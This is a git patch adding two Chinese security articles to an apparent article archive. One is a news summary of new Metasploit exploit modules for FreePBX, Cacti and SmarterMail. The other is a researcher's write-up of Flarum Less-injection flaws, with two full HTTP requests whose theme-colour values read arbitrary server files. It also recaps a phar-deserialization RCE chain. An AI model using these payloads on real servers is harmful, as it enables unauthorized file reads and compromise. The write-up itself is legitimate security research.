From 126b68a4bd9c4e1132eb7aa6726fd43c25ef23d1 Mon Sep 17 00:00:00 2001 From: test Date: Sat, 31 Jan 2026 08:31:15 +0000 Subject: [PATCH] =?UTF-8?q?Metasploit=20=E5=8F=91=E5=B8=83=207=20=E4=B8=AA?= =?UTF-8?q?=E5=85=A8=E6=96=B0=E6=BC=8F=E6=B4=9E=E5=88=A9=E7=94=A8=E6=A8=A1?= =?UTF-8?q?=E5=9D=97=EF=BC=8C=E6=B6=B5=E7=9B=96=20FreePBX=E3=80=81Cacti=20?= =?UTF-8?q?=E5=92=8C=20SmarterMail=E3=80=81=E4=BB=8E=20Vite=20=E6=BC=8F?= =?UTF-8?q?=E6=B4=9E=E8=81=94=E6=83=B3=E5=88=B0=20Flarum=20Less=20RCE?= =?UTF-8?q?=E3=80=81?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- data.json | 4 +- ...Œ涵盖 FreePBX、Cacti 和 SmarterMail.md | 39 +++++ ...»Ž Vite 漏洞联想到 Flarum Less RCE.md | 162 ++++++++++++++++++ 3 files changed, 204 insertions(+), 1 deletion(-) create mode 100644 doc/2026-01/Metasploit 发布 7 个全新漏洞利用模块,涵盖 FreePBX、Cacti 和 SmarterMail.md create mode 100644 doc/2026-01/从 Vite 漏洞联想到 Flarum Less RCE.md diff --git a/data.json b/data.json index 4f05bc63..bce01b1b 100644 --- a/data.json +++ b/data.json @@ -17403,5 +17403,7 @@ "https://mp.weixin.qq.com/s/3dBX4ZdJIdvbSJU6Ld_M3Q": "密码重置漏洞检查清单", "https://mp.weixin.qq.com/s/baxGH-fsFdMnNHf8023hxw": "每周漏洞情报速览|2026.1.24–1.30", "https://mp.weixin.qq.com/s/qm0rfJAGrm-f55DvDa6AtQ": "【AI安全】传统漏洞修复已死!VulnResolver给大模型加 BUFF", - "https://mp.weixin.qq.com/s/ZZ8YKMKQr8QKI_wGd0IIzw": "漏洞复现 | 致远OA 权限绕过saveExcelInBase任意文件上传漏洞" + "https://mp.weixin.qq.com/s/ZZ8YKMKQr8QKI_wGd0IIzw": "漏洞复现 | 致远OA 权限绕过saveExcelInBase任意文件上传漏洞", + "https://mp.weixin.qq.com/s/CpmpG4dtfezQuJ8r2ajCBA": "Metasploit 发布 7 个全新漏洞利用模块,涵盖 FreePBX、Cacti 和 SmarterMail", + "https://mp.weixin.qq.com/s/yvtaC_GRTHyN7hzrJ7CFPA": "从 Vite 漏洞联想到 Flarum Less RCE" } \ No newline at end of file diff --git a/doc/2026-01/Metasploit 发布 7 个全新漏洞利用模块,涵盖 FreePBX、Cacti 和 SmarterMail.md b/doc/2026-01/Metasploit 发布 7 个全新漏洞利用模块,涵盖 FreePBX、Cacti 和 SmarterMail.md new file mode 100644 index 00000000..afc32e00 --- /dev/null +++ b/doc/2026-01/Metasploit 发布 7 个全新漏洞利用模块,涵盖 FreePBX、Cacti 和 SmarterMail.md @@ -0,0 +1,39 @@ +# Metasploit 发布 7 个全新漏洞利用模块,涵盖 FreePBX、Cacti 和 SmarterMail +原创 网络安全9527 + 网络安全9527 安全圈的那点事儿 2026-01-31 07:54 + +本周 Metasploit Framework 的最新更新为渗透测试人员和红队成员带来了重大改进,引入了七个针对常用企业软件的新漏洞利用模块。 + +本次发布的亮点是针对FreePBX的三个复杂模块,以及针对 Cacti 和 SmarterMail 的关键远程代码执行 (RCE) 功能。 + +此次更新凸显了将身份验证绕过漏洞与次要漏洞串联起来以实现系统完全入侵所带来的持续风险。 +## FreePBX漏洞链 + +该框架最重要的新增功能包括三个针对 FreePBX 的独立模块,FreePBX 是一个用于控制 Asterisk(PBX)的开源图形用户界面 (GUI)。研究人员 Noah King 和 msutovsky-r7 开发了一种方法,可以将多个漏洞串联起来,从而在未经身份验证的情况下提升权限,最终实现远程代码执行。 + +攻击链始于 CVE-2025-66039,这是一个身份验证绕过漏洞,允许未经授权的攻击者绕过登录协议。一旦身份验证屏障被突破,该框架提供了两条不同的远程代码执行 (RCE) 路径。 + +第一种攻击途径利用了编号为 CVE-2025-61675 的 SQL 注入漏洞。攻击者通过注入恶意 SQL 命令,可以操纵数据库,向表中插入一个新作业cron_job,从而有效地调度任意代码的执行。 + +此外,第二个模块利用了固件上传功能中存在的 CVE-2025-61678 漏洞,该漏洞允许攻击者不受限制地上传文件。这使得攻击者可以直接向服务器上传 Webshell,从而立即获得控制权。 + +该集合中的第三个辅助模块利用相同的SQL 注入漏洞来创建一个恶意管理员账户,这表明了该漏洞利用链的多功能性。 +## Cacti 和 SmarterMail 中的关键远程代码执行漏洞 + +除了 VoIP 领域,此次更新还修复了监控和通信平台中的严重漏洞。新增的模块专门针对流行的网络监控工具 Cacti,利用了 CVE-2025-24367 漏洞。 + +此漏洞影响 1.2.29 之前的版本,允许攻击者通过图模板机制执行未经身份验证的远程代码。鉴于 Cacti 在基础设施监控领域的广泛应用,该模块是网络管理员的一项高优先级测试用例。 + +与此同时,该框架还增加了对 SmarterTools SmarterMail 中 CVE-2025-52691 漏洞的利用支持。此未经身份验证的文件上传漏洞依赖于对guid变量内部路径的篡改。 + +该模块对底层操作系统具有显著的兼容性。如果目标运行的是 Windows 系统,该漏洞利用程序会在 webroot 目录中放置一个 webshell。相反,如果目标是 Linux 环境,它会通过在/etc/cron.d. 目录下创建一个 cron 作业来实现持久化和执行。 +## 持久化工具和核心修复 + +此次发布还通过新增的持久化模块增强了后渗透攻击能力。新的Burp Suite 扩展持久化模块允许攻击者在专业版和社区版上安装恶意扩展,使其在用户每次启动应用程序时执行。此外,团队还将 Windows 和 Linux SSH 密钥持久化功能整合到一个统一的模块中,以简化操作。 + +在维护方面,我们修复了几个关键漏洞。此前导致哈希数据无法与 John the Ripper 密码破解工具兼容的格式问题也已得到解决。 + +此外,SSH 登录扫描器中一个逻辑错误已被修复,该错误之前会在会话无法打开时将成功的登录报告为失败,以确保在交互过程中报告的准确性。 + +
模块名称CVE ID目标系统影响
FreePBX Endpoint SQLiCVE-2025-66039、CVE-2025-61675FreePBX远程代码执行
FreePBX Firmware UploadCVE-2025-66039、CVE-2025-61678FreePBX远程代码执行
FreePBX Admin CreationCVE-2025-66039、CVE-2025-61675FreePBX权限提升
Cacti Graph Template RCECVE-2025-24367Cacti(< 1.2.29)远程代码执行
SmarterMail GUID UploadCVE-2025-52691SmarterMail远程代码执行
Burp Extension PersistenceN/ABurp Suite持久性
SSH Key PersistenceN/ALinux/Windows持久性
+ diff --git a/doc/2026-01/从 Vite 漏洞联想到 Flarum Less RCE.md b/doc/2026-01/从 Vite 漏洞联想到 Flarum Less RCE.md new file mode 100644 index 00000000..47fe6ced --- /dev/null +++ b/doc/2026-01/从 Vite 漏洞联想到 Flarum Less RCE.md @@ -0,0 +1,162 @@ +# 从 Vite 漏洞联想到 Flarum Less RCE +原创 sw0rd1ight + sw0rd1ight 剑指安全 2026-01-31 05:01 + +上一篇[Vite相关的漏洞](https://mp.weixin.qq.com/s?__biz=Mzk5MDc5MDY2OA==&mid=2247483774&idx=1&sn=c8785c9db9470f541a84aab15e8394fd&scene=21#wechat_redirect) + +涉及到的一些文件读取姿势(如inline、import等语法)让我想起了p牛2022年写的这篇文章《 +从偶遇Flarum开始的RCE之旅》 + +https://www.leavesongs.com/PENETRATION/flarum-rce-tour.html + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/tGwricZrhUvic8N7yYiblruK0GWVJUcEYQNlBvn1kxRqiaOaeoKv4xm0K0nqJw1YGOU3PDtcDf1QVZFnic4bXHvWVcQ/640?wx_fmt=png&from=appmsg "") + +这篇文章中详细记录了p牛从一个Flarum论坛后台开始,逐步分析并最终实现远程代码执行(RCE)的过程。整个过程结合了代码审计和巧妙的漏洞利用链构造。其中最终达到RCE的关键是利用了Less的data-uri +和@import (inline) +语法 +## 0x01 重点回顾 + +less语言官方对data-uri +和@import (inline) +语法的说明如下 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/tGwricZrhUvic8N7yYiblruK0GWVJUcEYQNXQbxsyKfSzVia36icXVvocMfybHTvo0icQMp4QicyTH1tfibgRTtfHnibaaA/640?wx_fmt=png&from=appmsg "") + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/tGwricZrhUvic8N7yYiblruK0GWVJUcEYQNDcicIGot879BiacfULqSo4BTs8skF5Nn3v4SEiavbOIx1Iko5HSLd2L1A/640?wx_fmt=png&from=appmsg "") + +从上述描述中看起来只是跟文件读取有关,但是描述读取的都是正常的静态资源文件。但是p牛深入分析了php的Less库源码发现其中存在一些疏漏最终可以达到**任意文件读取** +和**可控文件写入** +- **任意文件读取** +:通过data-uri()  +语法,可以读取服务器上的任意文件 + +- **可控文件写入** +:通过@import (inline)  +语法配合**data:协议** +,可以将任意内容写入到生成的CSS文件(forum.css)的开头 + +最终将上述发现串联在一起之后得到一个后台RCE +- **写入恶意Payload** +:在后台自定义CSS中,使用 @import (inline) 'data:,...' + 语法,将一个**恶意构造的tar格式的phar文件内容** +写入到forum.css +文件的开头 +- **触发反序列化** +:再次修改自定义CSS,使用 data-uri('phar://./assets/forum.css') + 去包含刚才写入的文件。当PHP解析phar:// +协议时,会**自动反序列化** +phar文件中嵌入的元数据(metadata) +- **执行任意命令** +:利用Flarum已使用的monolog +日志库中的一条已知反序列化利用链,在反序列化时成功执行了系统命令达到RCE +## 0x02 官方补丁分析 + +后续Flarum官方是通过正则限制后台自定义的less语句不能使用上述2语法进行修复 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/tGwricZrhUvic8N7yYiblruK0GWVJUcEYQNgXkDKhpey9kHreaLotDQsBRzGrjoQXG3sLhiclbVlU8p9CXE5ol6OOA/640?wx_fmt=png&from=appmsg "") +## 0x03 新的发现 + +2年之后,在官方修复了该漏洞之后我再次进行深入分析,发现还有2处由于less编译导致的任意文件读取/RCE + +主要是在站点的主题色设置的位置,第一主题色的设置和第二主题色的设置Fluam后端都会使用less进行编译 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/tGwricZrhUvic8N7yYiblruK0GWVJUcEYQNFIx6e6aEQAymp0QGWow14aulMy0RLG2zBxI9ebYMKf8OsVd03Cdibrg/640?wx_fmt=png&from=appmsg "") + +以下以实现文件读取进行验证 + +(因为PHP 8.0以上就不再支持phar反序列化了,所以达到RCE有php版本的限制,时代的眼泪) +### 主题色设置-任意文件读取  + +这个例子使用data-uri实现文件读取,发送如下请求 +``` +POST /flarumtest/public/api/settings HTTP/1.1 +Host: localhost:82 +Content-Length: 107 +sec-ch-ua: "Chromium";v="91", " Not;A Brand";v="99" +X-CSRF-Token: I8tUWRAOy5ix2aiCcszeu8wvhsIFWsDD0Wt9RWFL +sec-ch-ua-mobile: ?0 +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 +Content-Type: application/json; charset=UTF-8 +Accept: */* +Origin: http://localhost:82 +Sec-Fetch-Site: same-origin +Sec-Fetch-Mode: cors +Sec-Fetch-Dest: empty +Referer: http://localhost:82/flarumtest/public/admin +Accept-Encoding: gzip, deflate +Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 +Cookie: flarum_session=oEcOtlAFo9XqbPJ80U1KXWGAhgOWCnMEK55Kkdy6 +Connection: close + +{"theme_primary_color":"#1f6cd1;  .test {content: data-uri('C:/Windows/win.ini');}","theme_dark_mode":false} +``` + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/tGwricZrhUvic8N7yYiblruK0GWVJUcEYQNY3736DArp7gjshcjKdgycWiabh8q8xvHc8hIN7uJJwvScZ5XrpGj7kw/640?wx_fmt=png&from=appmsg "") + +保存成功后会返回204,后续我们回到首页刷新一下,再访问编译后的css文件(其中包含文件内容的css文件有2个,/public/assets/forum.css +和/public/assets/forum-en.css +,不过forum-en.css +的内容更为干净,只包含我们自定义的样式),即可看到base64编码后的文件内容。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/tGwricZrhUvic8N7yYiblruK0GWVJUcEYQNPeEN5N1oCILMwPBHBehehvcInf378PbBq3icLsOrtQvkzI5ibtpx0AGw/640?wx_fmt=png&from=appmsg "") + +实际调试过程中,发现要使用data-uri +成功读取到文件,要求文件小于**32k** +(最开始我尝试读取的文件是php.ini,然后死活读不出来,仔细一看原来是对文件大小有限制) + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/tGwricZrhUvic8N7yYiblruK0GWVJUcEYQN2icafg80rCoL5V2Vamyrdrq22x6B5WSmAM0BxQp5MB3wea4VJoea25w/640?wx_fmt=png&from=appmsg "") + +### 第二主题色设置-任意文件读取 + +这个和上面的基本一致,只不过是参数存在差异。下面使用p牛说的另外一个法子@import +来进行演示读取文件,这个法子对读取的文件内容没有大小限制,并且文件内容为明文 +``` +POST /flarumtest/public/api/settings HTTP/1.1 +Host: localhost:82 +Content-Length: 103 +sec-ch-ua: "Chromium";v="91", " Not;A Brand";v="99" +X-CSRF-Token: I8tUWRAOy5ix2aiCcszeu8wvhsIFWsDD0Wt9RWFL +sec-ch-ua-mobile: ?0 +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36 +Content-Type: application/json; charset=UTF-8 +Accept: */* +Origin: http://localhost:82 +Sec-Fetch-Site: same-origin +Sec-Fetch-Mode: cors +Sec-Fetch-Dest: empty +Referer: http://localhost:82/flarumtest/public/admin +Accept-Encoding: gzip, deflate +Accept-Language: zh-CN,zh;q=0.9,en;q=0.8 +Cookie: flarum_session=oEcOtlAFo9XqbPJ80U1KXWGAhgOWCnMEK55Kkdy6 +Connection: close + +{"theme_secondary_color":"#1f6cd1; @import (inline) \"C:/xampp/php/php.ini\";","theme_dark_mode":false} +``` + + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/tGwricZrhUvic8N7yYiblruK0GWVJUcEYQNiaBHBOK8RG8RTqibZOfhiaW9iaia8U3WMMqWAPjb4qlibNADgqOzfLN4GHVA/640?wx_fmt=png&from=appmsg "") + +类似的访问/flarumtest/public/assets/forum-en.css +即可看到文件内容 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/tGwricZrhUvic8N7yYiblruK0GWVJUcEYQNavUD8YeuHQvVHdZq9ca7Iw582IEyqOVdRnrE2JBEMvO9nss8PhEl9A/640?wx_fmt=png&from=appmsg "") +## 0x04 小插曲 + +后续这些新发现有上报给官方 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/tGwricZrhUvic8N7yYiblruK0GWVJUcEYQNotTumuNUoHeoV0sa1f8Z7Zic3FnUWcmPGmhFt4ttxnEWlpd2xs4n2kQ/640?wx_fmt=png&from=appmsg "") + +不过遗憾的是官方认为需要管理员权限,而拥有了Flarum管理员权限基本就可以做任何事情,所以不认为是漏洞。这两个漏洞中涉及的接口功能是修改系统颜色,但它实际上可以读取系统中不同的文件,甚至引发 RCE,这个其实是开发者预期之外的危害,不过确实需要权限的比较高,所以不当作漏洞修复也是没有问题的。 +## 0x05 总结 +- 其实是因为以前分析过p牛发现过的less导致rce的漏洞,接触过一些相关概念,所以在vite的第一个洞通报的时候,我才能很快理解大概原理并定位到关键点 + +- p牛这些业界大佬的文章确实需要潜下心来进行细致研读 + +- 上篇文章的评论区好像质疑vite这些漏洞的意义不大,但是其实作为一名业余的安全研究者(因为现在更多时间花在了开发和AI上,所以在安全上略显业余)来说侧重的是深入分析并进一步有所发现的过程 + + +上述分析仅仅用于安全学习和研究 +